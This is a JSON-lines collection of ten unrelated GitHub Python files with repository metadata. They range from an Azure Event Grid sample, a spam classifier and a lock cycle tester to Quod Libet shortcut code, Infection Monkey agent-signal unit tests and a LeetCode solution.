+{"seq_id":"40779060863","text":"from azure.eventgrid import CloudEvent\nimport json\n\n# all types of CloudEvents below produce same DeserializedEvent\ncloud_custom_dict = \"\"\"[{\n    \"id\":\"de0fd76c-4ef4-4dfb-ab3a-8f24a307e033\",\n    \"source\":\"https://egtest.dev/cloudcustomevent\",\n    \"data\":{\n        \"team\": \"event grid squad\"\n    },\n    \"type\":\"Azure.Sdk.Sample\",\n    \"time\":\"2020-08-07T02:06:08.11969Z\",\n    \"specversion\":\"1.0\"\n}]\"\"\"\n\ndeserialized_dict_events = [CloudEvent(**msg) for msg in json.loads(cloud_custom_dict)]\n\nfor event in deserialized_dict_events:\n    print(event.data)\n    print(type(event))\n","repo_name":"MuchammadSobrun/azure-sdk-for-python","sub_path":"sdk/eventgrid/azure-eventgrid/samples/champion_scenarios/sample_consume_custom_payload.py","file_name":"sample_consume_custom_payload.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"}
+{"seq_id":"38991951291","text":"# Accepting Arguments\nimport sys\n\n# click + sign in vs code terminal\n# there you will see zsh terminal in vs code aka shell\n# do not run the code using UI from vs code\n# run by cmd in shell\n# otherwise you can directly open the terminal\n# locate directory by cd\n# python3 accept_arg.py Beau 39\n# output = ['accept_arg.py', 'Beau', '39']\nprint(sys.argv)\n\nname = sys.argv[1]\nprint(\"Hello \" + name)\n\n\nimport argparse\n\nparser = argparse.ArgumentParser(\n    description = \"This program prints the name of my dogs\"\n)\n\n# arguement you want to accept\n# choices make you accept only options defined in the dict\nparser.add_argument(\"-c\", \"--color\", metavar = \"color\",\nrequired = True, choices = {\"red\", \"yellow\"}, help = \"the color to search for\")\n\nargs = parser.parse_args()\n\nprint(args.color)","repo_name":"khinthandarkyaw98/Python_For_All","sub_path":"Python_for_All/Python_beginner/accept_arg.py","file_name":"accept_arg.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"32131539206","text":"import re\nfrom collections import defaultdict\nfrom typing import Union, DefaultDict, List, Tuple, Dict\n\n\nfrom src.internal.flower import Flower\n\n\nclass BouquetDesign:\n    def __init__(self, client_input: str):\n        self.client_input = client_input\n        self.name: str = str()\n        self.size: str = str()\n        self.flower_quantity: Union[int, None] = None\n        self.flowers: DefaultDict[Flower, int] = defaultdict(int)\n        self.set_attributes()\n\n    def __parse_client_input(self) -> Tuple:\n        exception_msg = f\"Invalid bouquet design: {self.client_input}\"\n        bouquet_spec_regex = re.compile(\n            r\"(?P<name>[A-Z])(?P<size>[L|S])(?P<flower_spec_list>(?:\\d+[a-z])*)(?P<total_flower_quantity>\\d*)\")\n        bouquet_spec_search = re.search(bouquet_spec_regex, self.client_input)\n\n        if not bouquet_spec_search:\n            raise InvalidBouquetDesign(exception_msg)\n\n        bouquet_name = bouquet_spec_search.group('name')  # must have\n        bouquet_size = bouquet_spec_search.group('size')  # must have\n        flower_spec_list = bouquet_spec_search.group('flower_spec_list') or str()  # optional\n        total_flower_quantity = bouquet_spec_search.group('total_flower_quantity') or str()  # optional\n        found = bouquet_name + bouquet_size + flower_spec_list + total_flower_quantity\n\n        if not bouquet_name or not bouquet_size:\n            raise InvalidBouquetDesign(exception_msg)\n\n        if total_flower_quantity:\n            total_flower_quantity = int(total_flower_quantity)\n            if total_flower_quantity <= 0:\n                raise InvalidBouquetDesign(exception_msg)\n        else:\n            total_flower_quantity = None\n\n        if not found == self.client_input or not bouquet_name or bouquet_size not in (\"S\", \"L\"):\n            raise InvalidBouquetDesign(exception_msg)\n\n        return bouquet_name, bouquet_size, total_flower_quantity, flower_spec_list\n\n    def __get_flower_dict(self, flower_spec_list: str) -> Dict[Flower, int]:\n        flower_spec_list_regex = re.compile(r'((?:\\d+)(?:[a-z]))')\n        flower_quantity_and_species_list: List[str] = re.findall(flower_spec_list_regex, flower_spec_list)\n\n        def get_quantity_species(flower_spec: str) -> Tuple[str, int]:\n            quantity_species_regex = r\"(?P<quantity>\\d+)(?P<species>\\w)\"\n            quantity = re.search(quantity_species_regex, flower_spec).group(\"quantity\")\n            species = re.search(quantity_species_regex, flower_spec).group(\"species\")\n            return species, int(quantity)\n\n        flower_dict: Dict[Flower, int] = dict()\n        for fqas in flower_quantity_and_species_list:\n            species, quantity = get_quantity_species(fqas)\n            flower_dict[Flower(species=species, size=self.size)] = quantity\n\n        if self.flower_quantity:\n            flower_quantity_in_spec = sum(flower_dict.values())\n            if self.flower_quantity > flower_quantity_in_spec:\n                any_flower = Flower(species='A', size=self.size)\n                flower_dict[any_flower] = self.flower_quantity - flower_quantity_in_spec\n\n        return flower_dict\n\n    def set_attributes(self):\n        self.name, self.size, self.flower_quantity, flower_spec_list = self.__parse_client_input()\n        self.flowers = self.__get_flower_dict(flower_spec_list)\n\n    def __str__(self):\n        return str(self.__dict__)\n\n    def __eq__(self, other):\n        return self.__dict__ == other.__dict__\n\n    def __getattr__(self, item):\n        return getattr(self.flowers, item)\n\n\nclass InvalidBouquetDesign(Exception):\n    pass\n","repo_name":"E1Adamov/bouquet_production_line","sub_path":"server/src/internal/bouquet_design.py","file_name":"bouquet_design.py","file_ext":"py","file_size_in_byte":3573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"7262812096","text":"# JJM 9/27/2022 for 1500 combo lock cycle tester\n# use this line at the top of the code to run  in terminal #!/usr/bin/python -i\n\nfrom time import sleep\nimport RPi.GPIO as GPIO\nimport piplates.RELAYplate as RELAY\n\n# setup GPIO mode\nGPIO.setmode(GPIO.BCM)\n\ncombo1 = int((input(\"Enter first combination number \")))\ncombo2 = int((input(\"Enter second combination number \")))\ncombo3 = int((input(\"Enter third combination number \")))\ncycles = int((input(\"Enter number of cycles \")))\n##################### these variables control speed of the various functions\nmotorSpeed = .0004  #\ndialPause = .2      #\nshacklePause = .35  #\n#####################\ncyclesInitial = cycles # keeps original cycle count\ndistanceToZero = 40 - combo3\npulse = False # pulses pin high and low to create a step\ndirection = True # true = CW \nshackleNotOpenCount = 0\nshackleNotLockedCount = 0\nshackle_failed_open = 0\n# setup GPIO pins\nGPIO.setup(19, GPIO.OUT) # step /pulse pin 19\nGPIO.setup(26, GPIO.OUT) # direction pin 26\nGPIO.setup(4, GPIO.IN, pull_up_down = GPIO.PUD_DOWN) # shackle open switch\nGPIO.setup(5, GPIO.IN, pull_up_down = GPIO.PUD_DOWN) # shackle close switch\nopen_switch = 4 # input pin\nclose_switch = 5 # input pin\nlock_shackle_pin = 5 # output pin\nunlock_shackle_pin = 7 # output pin\n\n\ndef motorTurns(x): # passes info from main loop about combinations into function to turn dial\n    GPIO.output(26, direction)\n    global pulse, currentPosition\n    for i in range(x*20):\n        GPIO.output(19, pulse)\n        sleep(motorSpeed)\n        pulse = not pulse # changes pulse pin from high to low each time through loop\n\n\nwhile cycles > 0:\n    # cycle starts by spinning combo dial 2 rotations before dialing in combo 1\n    motorTurns(120 + (40-combo1))\n    sleep(dialPause)\n    direction = not direction\n    if combo2 > combo1:\n        motorTurns(40 + (combo2 - combo1))\n        sleep(dialPause)\n        direction = not direction\n    elif combo2 < combo1:\n        motorTurns(40 + (40 - combo1 + combo2))\n        sleep(dialPause)\n        direction = not direction\n    if combo3 > combo2:\n        motorTurns(40 - combo3 + combo2)\n        sleep(dialPause)\n        direction = not direction\n    elif combo3 < combo2:\n        motorTurns(combo2 - combo3)\n        sleep(dialPause)\n        direction = not direction\n    sleep(shacklePause)\n    RELAY.relayON(0,unlock_shackle_pin) # pull shackle open / unlock shackle\n    sleep(shacklePause)\n    RELAY.relayOFF(0,unlock_shackle_pin)\n    sleep(shacklePause)\n    shackle_failed_open = 0\n\n    if GPIO.input(open_switch) == False: # checks to see if shackle opened\n        shackleNotOpenCount += 1\n        cycles += 1\n        print(\"Shackle Failed to unlock \",shackleNotOpenCount, \" times\")\n        if shackleNotOpenCount == 25:\n            break\n\n    RELAY.relayON(0,lock_shackle_pin) # push shackle closed / lock shackle\n    sleep(shacklePause)\n    RELAY.relayOFF(0,lock_shackle_pin)\n    sleep(shacklePause)\n    sleep(shacklePause)\n    motorTurns(distanceToZero) # spins dial back to 0 to keep position info\n    direction = not direction\n    motorTurns(40)\n    direction = not direction # spins dial around to make sure combo is scrambled\n    sleep(shacklePause)\n    RELAY.relayON(0,unlock_shackle_pin) # pull shackle open to test if it locked correctly\n    sleep(shacklePause)\n    RELAY.relayOFF(0,unlock_shackle_pin)\n    sleep(shacklePause)\n    if GPIO.input(open_switch) == True:\n        shackleNotLockedCount += 1\n        cycles += 1\n        print(\"Shackle failed to lock \", shackleNotLockedCount, \" times\")\n        if shackleNotLockedCount == 25:\n            break\n\n    RELAY.relayON(0,lock_shackle_pin) # push shackle closed\n    sleep(shacklePause)\n    RELAY.relayOFF(0,lock_shackle_pin)\n    sleep(shacklePause)\n    sleep(shacklePause)\n    direction = not direction\n    sleep(.1)\n    cycles -= 1\n    print(\"cycles remaining \", cycles)\n\nprint(\"Cycles requested: \", cyclesInitial)\nprint(\"Shackle failed to open \", shackleNotOpenCount, \" times\")\nprint(\"Shackle failed to lock \", shackleNotLockedCount, \" times\")\nprint(\"Actual complete cycles: \", cyclesInitial - (cycles))\nprint(\"Cycles remaining when stopped: \", cycles)\nRELAY.relayOFF(0,unlock_shackle_pin)\nRELAY.relayOFF(0,lock_shackle_pin)\nGPIO.cleanup() # clear GPIO allocations after running program\n\ninput(\"End of cycle. Press Enter\")\ninput(\"Press enter to exit\")","repo_name":"jmissiaenmlk/cycletesters","sub_path":"1500/1500cycler.py","file_name":"1500cycler.py","file_ext":"py","file_size_in_byte":4342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73762710134","text":"import pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import accuracy_score\n\n# Load the dataset\ndata = pd.read_csv('spam_or_not_spam.csv')\n\n# Adding empty columns for new features\ndata['hyperlink'] = None\ndata['free'] = None\ndata['click'] = None\ndata['business'] = None\ndata['frequency'] = None\n\n# Define a function to extract the most frequent word ratio\ndef get_frequency(text):\n    if isinstance(text, str):  # Check if 'text' is a string\n        words = text.split()\n        if len(words) == 0:\n            return 0\n        word_counts = {word: words.count(word) for word in set(words)}\n        most_frequent_word = max(word_counts, key=word_counts.get)\n        return word_counts[most_frequent_word] / len(words)\n    else:\n        return 0\n\n# Iterate through each row and fill in the new columns\nfor index, row in data.iterrows():\n    text = row['email']\n\n    data.at[index, 'hyperlink'] = int('hyperlink' in str(text))\n    data.at[index, 'free'] = int('free' in str(text))\n    data.at[index, 'click'] = int('click' in str(text))\n    data.at[index, 'business'] = int('business' in str(text))\n    data.at[index, 'frequency'] = get_frequency(text)\n\n# Extract features and labels as lists\nX = data[['hyperlink', 'free', 'click', 'business', 'frequency']].values\ny = data['label'].values\n\n# Split the data into training (70%) and testing (30%)\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42)\n\n# Create and train the Logistic Regression model\nmodel = LogisticRegression()\nmodel.fit(X_train, y_train)\n\n# Make predictions on the test set\ny_pred = model.predict(X_test)\n\n# Evaluate the model\naccuracy = accuracy_score(y_test, y_pred)\nprint(\"Accuracy:\", accuracy)\n","repo_name":"Justin-Mafie/Assignment_3","sub_path":"Qns_6.py","file_name":"Qns_6.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74991356211","text":"from gi.repository import Gtk\n\nfrom quodlibet import const\nfrom quodlibet import util\nfrom quodlibet import _\n\n\nSHORTCUTS = [\n    (_(\"Main Window\"), [\n        (\"<Alt>Left\", _(\"Seek backwards by 10 seconds\")),\n        (\"<Alt>Right\", _(\"Seek forward by 10 seconds\")),\n        (\"<Primary>L\", _(\"Focus the search entry\")),\n    ]),\n    (_(\"Browsers\"), [\n        (\"<Primary><Shift>J\", _(\"Reset filters and jump to the playing song\")),\n    ]),\n    (_(\"Song List\"), [\n        (\"<Primary>I\",\n         _(\"Open the information window for the selected songs\")),\n        (\"<Alt>Return\", _(\"Open the tag editor for the selected songs\")),\n        (\"<Primary>Return\", _(\"Queue the selected songs\")),\n        (\"<Primary>Delete\", _(\"Delete the selected songs\")),\n        (\"<Primary>F\", _(\"Show the inline search entry\")),\n        (\"<Ctrl>\", \"+ \" + _(\"Left click on a column header\") + \":\\n\"\n         + _(\"Add the column to the list of columns to sort by\")),\n    ]),\n    (_(\"Tree View\"), [\n        (\"Left <Primary>Left\",\n         _(\"Collapses the element or select the parent element\")),\n        (\"Right <Primary>Right\", _(\"Expands the element\")),\n    ]),\n    (_(\"Text Entries\"), [\n        (\"<Primary>Z\",\n         _(\"Undo the last change\")),\n        (\"<Primary><Shift>Z\", _(\"Redo the last undone change\")),\n    ]),\n    (_(\"Paned Browser\"), [\n        (\"<Primary>Home\", _(\"Select all songs in all panes\")),\n    ]),\n]\n\n\ndef build_shortcut_window(data):\n    \"\"\"Returns a filled Gtk.ShortcutsWindow\"\"\"\n\n    assert has_shortcut_window()\n\n    # Note: gtk+ is picky about the order of adding/showing things because\n    # this is usually done through XML. e.g. adding shortcuts after a section\n    # won't make them show up in the search etc..\n    w = Gtk.ShortcutsWindow()\n    section = Gtk.ShortcutsSection()\n    section.show()\n    for group_title, shortcuts in data:\n        group = Gtk.ShortcutsGroup(title=group_title)\n        group.show()\n        for accel, shortcut_title in shortcuts:\n            short = Gtk.ShortcutsShortcut(\n                title=shortcut_title, accelerator=accel)\n            short.show()\n            group.add(short)\n        section.add(group)\n    w.add(section)\n\n    return w\n\n\ndef has_shortcut_window():\n    \"\"\"Returns if the current Gtk+ supports ShortcutsWindow. Gtk+ >= 3.20\"\"\"\n\n    return hasattr(Gtk, \"ShortcutsWindow\")\n\n\ndef show_shortcuts(parent):\n    \"\"\"Either opens a window showing keyboard shortcuts or a website in the\n    default browser, depending on the Gtk+ version\n    \"\"\"\n\n    if has_shortcut_window():\n        window = build_shortcut_window(SHORTCUTS)\n        window.set_transient_for(parent)\n        window.set_position(Gtk.WindowPosition.CENTER_ON_PARENT)\n        window.set_modal(True)\n        window.show()\n        # XXX: The windows does some weird size changes on start which confuses\n        # window placement. This fixes the jumping around and wrong position\n        # with some WMs and under Windows.\n        window.hide()\n        window.unrealize()\n        window.show()\n    else:\n        util.website(const.SHORTCUTS_HELP)\n","repo_name":"quodlibet/quodlibet","sub_path":"quodlibet/qltk/shortcuts.py","file_name":"shortcuts.py","file_ext":"py","file_size_in_byte":3058,"program_lang":"python","lang":"en","doc_type":"code","stars":1306,"dataset":"github-code","pt":"21"}
+{"seq_id":"19056676020","text":"\"\"\"empty message\n\nRevision ID: 161767e4298a\nRevises: fd734e131ed0\nCreate Date: 2020-09-20 17:18:09.494249\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '161767e4298a'\ndown_revision = 'fd734e131ed0'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('drivers', sa.Column('image_bin', sa.LargeBinary(), nullable=True))\n    op.add_column('drivers', sa.Column('license_image_bin', sa.LargeBinary(), nullable=True))\n    op.drop_column('drivers', 'image')\n    op.drop_column('drivers', 'license_image')\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('drivers', sa.Column('license_image', sa.VARCHAR(), autoincrement=False, nullable=True))\n    op.add_column('drivers', sa.Column('image', sa.VARCHAR(), autoincrement=False, nullable=True))\n    op.drop_column('drivers', 'license_image_bin')\n    op.drop_column('drivers', 'image_bin')\n    # ### end Alembic commands ###\n","repo_name":"RamHaridas/test-map-api","sub_path":"migrations/versions/161767e4298a_.py","file_name":"161767e4298a_.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"40549789382","text":"from copy import copy\nfrom unittest.mock import MagicMock\nfrom uuid import UUID\n\nimport pytest\n\nfrom common.types import AgentID\nfrom monkey_island.cc.models import Agent, Simulation, TerminateAllAgents\nfrom monkey_island.cc.repositories import (\n    IAgentRepository,\n    ISimulationRepository,\n    UnknownRecordError,\n)\nfrom monkey_island.cc.services import AgentSignalsService\n\nAGENT_SHA256 = \"2d374cfed2946b0a69d9f5831b00335b303b0d47e5a89649807d0f87b6748ea0\"\nAGENT_1 = Agent(\n    id=UUID(\"f811ad00-5a68-4437-bd51-7b5cc1768ad5\"),\n    machine_id=1,\n    start_time=100,\n    parent_id=None,\n    sha256=AGENT_SHA256,\n)\n\nAGENT_2 = Agent(\n    id=UUID(\"012e7238-7b81-4108-8c7f-0787bc3f3c10\"),\n    machine_id=2,\n    start_time=200,\n    parent_id=AGENT_1.id,\n    sha256=AGENT_SHA256,\n)\n\nAGENT_3 = Agent(\n    id=UUID(\"0fc9afcb-1902-436b-bd5c-1ad194252484\"),\n    machine_id=3,\n    registration_time=301,\n    start_time=300,\n    parent_id=AGENT_2.id,\n    sha256=AGENT_SHA256,\n)\n\nDUPLICATE_MACHINE_AGENT = Agent(\n    id=UUID(\"0fc9afcb-1902-436b-bd5c-1ad194252485\"),\n    machine_id=3,\n    registration_time=302,\n    start_time=299,\n    parent_id=AGENT_2.id,\n    sha256=AGENT_SHA256,\n)\n\nAGENTS = [AGENT_1, AGENT_2, AGENT_3]\n\nSTOPPED_AGENT = Agent(\n    id=UUID(\"e810ad01-6b67-9446-fc58-9b8d717653f7\"),\n    machine_id=4,\n    start_time=400,\n    stop_time=500,\n    parent_id=AGENT_3.id,\n    sha256=AGENT_SHA256,\n)\n\nALL_AGENTS = [*AGENTS, DUPLICATE_MACHINE_AGENT, STOPPED_AGENT]\n\n\n@pytest.fixture\ndef mock_simulation_repository() -> IAgentRepository:\n    repository = MagicMock(spec=ISimulationRepository)\n    repository.get_simulation = MagicMock(return_value=Simulation(terminate_signal_time=None))\n    return repository\n\n\n@pytest.fixture(scope=\"session\")\ndef mock_agent_repository() -> IAgentRepository:\n    def get_agent_by_id(agent_id: AgentID) -> Agent:\n        for agent in ALL_AGENTS:\n            if agent.id == agent_id:\n                return copy(agent)\n\n        raise UnknownRecordError(str(agent_id))\n\n    agent_repository = MagicMock(spec=IAgentRepository)\n    agent_repository.get_progenitor = MagicMock(return_value=copy(AGENT_1))\n    agent_repository.get_agent_by_id = MagicMock(side_effect=get_agent_by_id)\n    agent_repository.get_running_agents = MagicMock(\n        return_value=[copy(a) for a in ALL_AGENTS if a.stop_time is None]\n    )\n\n    return agent_repository\n\n\n@pytest.fixture\ndef agent_signals_service(mock_simulation_repository, mock_agent_repository) -> AgentSignalsService:\n    return AgentSignalsService(mock_simulation_repository, mock_agent_repository)\n\n\ndef test_stopped_agent(\n    agent_signals_service: AgentSignalsService,\n    mock_simulation_repository: ISimulationRepository,\n):\n    agent = STOPPED_AGENT\n\n    signals = agent_signals_service.get_signals(agent.id)\n    assert signals.terminate == agent.stop_time\n\n\n@pytest.mark.parametrize(\"agent\", AGENTS)\ndef test_terminate_is_none(\n    agent,\n    agent_signals_service: AgentSignalsService,\n    mock_simulation_repository: ISimulationRepository,\n):\n    signals = agent_signals_service.get_signals(agent.id)\n    assert signals.terminate is None\n\n\n@pytest.mark.parametrize(\"agent\", AGENTS)\ndef test_agent_started_before_terminate(\n    agent,\n    agent_signals_service: AgentSignalsService,\n    mock_simulation_repository: ISimulationRepository,\n):\n    TERMINATE_TIMESTAMP = 400\n    mock_simulation_repository.get_simulation = MagicMock(\n        return_value=Simulation(terminate_signal_time=TERMINATE_TIMESTAMP)\n    )\n\n    signals = agent_signals_service.get_signals(agent.id)\n\n    assert signals.terminate.timestamp() == TERMINATE_TIMESTAMP\n\n\n@pytest.mark.parametrize(\"agent\", AGENTS)\ndef test_agent_started_after_terminate(\n    agent,\n    agent_signals_service: AgentSignalsService,\n    mock_simulation_repository: ISimulationRepository,\n):\n    TERMINATE_TIMESTAMP = 50\n    mock_simulation_repository.get_simulation = MagicMock(\n        return_value=Simulation(terminate_signal_time=TERMINATE_TIMESTAMP)\n    )\n\n    signals = agent_signals_service.get_signals(agent.id)\n\n    assert signals.terminate is None\n\n\n@pytest.mark.parametrize(\"agent\", AGENTS)\ndef test_progenitor_started_before_terminate(\n    agent,\n    agent_signals_service: AgentSignalsService,\n    mock_simulation_repository: ISimulationRepository,\n):\n    TERMINATE_TIMESTAMP = 150\n    mock_simulation_repository.get_simulation = MagicMock(\n        return_value=Simulation(terminate_signal_time=TERMINATE_TIMESTAMP)\n    )\n\n    signals = agent_signals_service.get_signals(agent.id)\n\n    assert signals.terminate.timestamp() == TERMINATE_TIMESTAMP\n\n\ndef test_on_terminate_agents_signal__stores_timestamp(\n    agent_signals_service: AgentSignalsService, mock_simulation_repository: ISimulationRepository\n):\n    timestamp = 100\n\n    terminate_all_agents = TerminateAllAgents(timestamp=timestamp)\n    agent_signals_service.on_terminate_agents_signal(terminate_all_agents)\n\n    expected_value = Simulation(terminate_signal_time=timestamp)\n    mock_simulation_repository.save_simulation.assert_called_once_with(expected_value)\n\n\ndef test_on_terminate_agents_signal__updates_timestamp(\n    agent_signals_service: AgentSignalsService, mock_simulation_repository: ISimulationRepository\n):\n    timestamp = 100\n\n    terminate_all_agents = TerminateAllAgents(timestamp=timestamp)\n    mock_simulation_repository.get_simulation = MagicMock(\n        return_value=Simulation(terminate_signal_time=50)\n    )\n\n    agent_signals_service.on_terminate_agents_signal(terminate_all_agents)\n\n    expected_value = Simulation(terminate_signal_time=timestamp)\n    mock_simulation_repository.save_simulation.assert_called_once_with(expected_value)\n\n\ndef test_terminate_signal__not_set_if_agent_registered_before_another(agent_signals_service):\n    signals = agent_signals_service.get_signals(AGENT_3.id)\n\n    assert signals.terminate is None\n\n\ndef test_terminate_signal__set_if_agent_registered_after_another(agent_signals_service):\n    signals = agent_signals_service.get_signals(DUPLICATE_MACHINE_AGENT.id)\n\n    assert signals.terminate is not None\n\n\ndef test_terminate_signal__not_set_if_agent_registered_after_stopped_agent(\n    agent_signals_service: AgentSignalsService, mock_agent_repository: IAgentRepository\n):\n    mock_agent_repository.get_running_agents = MagicMock(return_value=[AGENT_1, AGENT_2])\n    signals = agent_signals_service.get_signals(DUPLICATE_MACHINE_AGENT.id)\n\n    assert signals.terminate is None\n","repo_name":"guardicore/monkey","sub_path":"monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py","file_name":"test_agent_signals_service.py","file_ext":"py","file_size_in_byte":6434,"program_lang":"python","lang":"en","doc_type":"code","stars":6367,"dataset":"github-code","pt":"21"}
+{"seq_id":"24211582030","text":"\"\"\"\nImagine you have a special keyboard with the following keys:\n\nKey 1: (A): Print one 'A' on screen.\n\nKey 2: (Ctrl-A): Select the whole screen.\n\nKey 3: (Ctrl-C): Copy selection to buffer.\n\nKey 4: (Ctrl-V): Print buffer on screen appending it after what has already been printed.\n\nNow, you can only press the keyboard for N times (with the above four keys), find out the maximum numbers of 'A' you can print on screen.\n\nExample 1:\nInput: N = 3\nOutput: 3\nExplanation: \nWe can at most get 3 A's on screen by pressing following key sequence:\nA, A, A\nExample 2:\nInput: N = 7\nOutput: 9\nExplanation: \nWe can at most get 9 A's on screen by pressing following key sequence:\nA, A, A, Ctrl A, Ctrl C, Ctrl V, Ctrl V\nNote:\n1 <= N <= 50\nAnswers will be in the range of 32-bit signed integer.\n\"\"\"\nclass Solution:\n    def maxA(self, N):\n        \"\"\"\n        :type N: int\n        :rtype: int\n\n        recursive version:\n        if not N:\n            return 0\n        maxV = N\n        for i in range(1,N-2):\n            maxV = max(maxV, self.maxA(i)*(N-i-1))\n        return maxV\n        \"\"\"\n        if not N:\n            return 0\n        dp = [x for x in range(N+1)]\n        for i in range(N+1):\n            for j in range(1, i-2):\n                dp[i] = max(dp[i], dp[j]*(i-j-1))\n        return dp[N]\n","repo_name":"Iverance/leetcode","sub_path":"651.4 Keys Keyboard.py","file_name":"651.4 Keys Keyboard.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"42659636995","text":"import rlutil\nimport rlargs\nimport readline\nimport pyosr\nimport uw_random\nimport numpy as np\nfrom six.moves import input\nfrom rlreanimator import reanimate\nimport signal\nimport sys\nimport os\n\nclass PuzzlePlayer(object):\n    def __init__(self, args):\n        r = rlutil.create_renderer(args)\n        # r.set_perturbation(uw_random.random_state(0.25))\n        r.state = np.array(r.translate_to_unit_state(args.istateraw), dtype=np.float32)\n        self.renderer = r\n        self.rgb_shape = (len(r.views), r.pbufferWidth, r.pbufferHeight, 3)\n        self.dactions = []\n        self.action_magnitude = args.amag\n        self.verify_magnitude = args.vmag\n\n    def __iter__(self):\n        r = self.renderer\n        while True:\n            r.render_mvrgbd()\n            yield np.copy(r.mvrgb.reshape(self.rgb_shape)[0])\n            if not self.dactions:\n                texts = input(\"Action [Number of actions]: \").split()\n                if texts:\n                    a = int(texts[0])\n                    if a < 0:\n                        return\n                    n = 1\n                    if len(texts) > 1:\n                        n = int(texts[1])\n                    self.dactions += [a] * n\n            else:\n                action = self.dactions.pop(0)\n                nstate, _, ratio = r.transit_state(r.state,\n                        action,\n                        self.action_magnitude,\n                        self.verify_magnitude)\n                if ratio < 1e-4:\n                    print(\"Blocked, clear action queue\")\n                    self.dactions[:] = []\n                print(\"Ratio {}\".format(ratio))\n                r.state = nstate\n\nclass ExplorePlayer(object):\n    def __init__(self, args):\n        r = rlutil.create_renderer(args)\n        self.renderer = r\n        self.rgb_shape = (len(r.views), r.pbufferWidth, r.pbufferHeight, 3)\n        self.agent_id = -1\n        self.frame = 0\n        self.stop = True\n        signal.signal(signal.SIGINT, self.catch)\n        self.frame_generator = None\n        aid = 0\n        self.aa_tuples = []\n        self.view = 0\n        while True:\n            dn = '{}/agent-{}'.format(args.exploredir, aid)\n            if not os.path.isdir(dn):\n                break\n            fid = 0\n            q_list = []\n            a_list = []\n            tau_list = []\n            r_list = []\n            term_list = []\n            perm_list = []\n            while True:\n                fn = '{}/{}.npz'.format(dn, fid)\n                if not os.path.exists(fn):\n                    break\n                dic = np.load(fn)\n                q_list.append(dic['QSTATE'])\n                a_list.append(dic['A'])\n                tau_list.append(dic['TAU'])\n                r_list.append(dic['R'])\n                term_list.append(dic['T'])\n                perm_list.append(dic['PERM'])\n                fid += 1\n            q = np.concatenate(q_list)\n            a = np.concatenate(a_list)\n            tau = np.concatenate(tau_list)\n            r = np.concatenate(r_list)\n            term = np.concatenate(term_list)\n            perm = np.concatenate(perm_list)\n            self.aa_tuples.append((q, a, tau, r, term, perm))\n            aid += 1\n        print('QSTATE SHAPE {}'.format(self.aa_tuples[self.agent_id][0].shape))\n\n    def __iter__(self):\n        r = self.renderer\n        while True:\n            if self.agent_id < 0:\n                self.stop = True\n            while self.stop:\n                print(\"Menu: choose an action to perform\")\n                print(\"s <num>: select an agent\")\n                print(\"f <num>: seek to frame\")\n                print(\"v <num>: change view\")\n                print(\"p: play\")\n                print(\"rp: reverse play\")\n                print(\"Status: agent {} frame {} view {}\".format(self.agent_id, self.frame, self.view))\n                texts = input(\"> \").split()\n                cmd = texts[0]\n                if cmd == 's':\n                    if len(texts) < 2:\n                        continue\n                    self.agent_id = int(texts[1])\n                elif cmd == 'f':\n                    if len(texts) < 2:\n                        continue\n                    self.frame = int(texts[1])\n                elif cmd == 'v':\n                    if len(texts) < 2:\n                        continue\n                    view = int(texts[1])\n                    if view >= len(r.views) or view < 0:\n                        print(\"View should be in [0, {})\".format(len(r.views)))\n                        continue\n                    self.view = view\n                elif cmd == 'p' or cmd == 'rp':\n                    if self.agent_id >= len(self.aa_tuples) or self.agent_id < 0:\n                        print(\"Agent ID should be in [0, {})\".format(len(self.aa_tuples)))\n                        continue\n                    total_frame = len(self.aa_tuples[self.agent_id][0])\n                    if self.frame >= total_frame or self.frame < 0:\n                        print(\"Frame # should be in [0, {})\".format(len(self.aa_tuples[0])))\n                        continue\n                    if cmd == 'p':\n                        self.frame_generator = iter(range(self.frame, total_frame))\n                        self.stop = False\n                    else:\n                        self.frame_generator = iter(range(-1, self.frame, -1))\n                        self.stop = False\n            frame = next(self.frame_generator, -1)\n            if frame == -1:\n                self.stop = True\n                continue\n            a = self.aa_tuples[self.agent_id][1][frame]\n            tau = self.aa_tuples[self.agent_id][2][frame]\n            reward = self.aa_tuples[self.agent_id][3][frame]\n            print(\"current frame {} action {} tau {} reward {}\".format(frame, a, tau, reward))\n            r.state = self.aa_tuples[self.agent_id][0][frame]\n            # r.set_perturbation(self.aa_tuples[self.agent_id][5][frame])\n            r.render_mvrgbd()\n            self.frame = frame\n            yield np.copy(r.mvrgb.reshape(self.rgb_shape)[self.view])\n\n    def catch(self, signum, frame):\n        self.stop = True\n\ndef create_player(args):\n    if args.exploredir is None:\n        return PuzzlePlayer(args)\n    else:\n        return ExplorePlayer(args)\n\ndef main():\n    pyosr.init()\n    args = rlargs.parse()\n    print(args)\n    player = create_player(args)\n    reanimate(player)\n\nif __name__ == '__main__':\n    main()\n","repo_name":"xinyazhang/PuzzleTunnelDiscovery","sub_path":"src/RL/puzzlegui.py","file_name":"puzzlegui.py","file_ext":"py","file_size_in_byte":6420,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"21"}
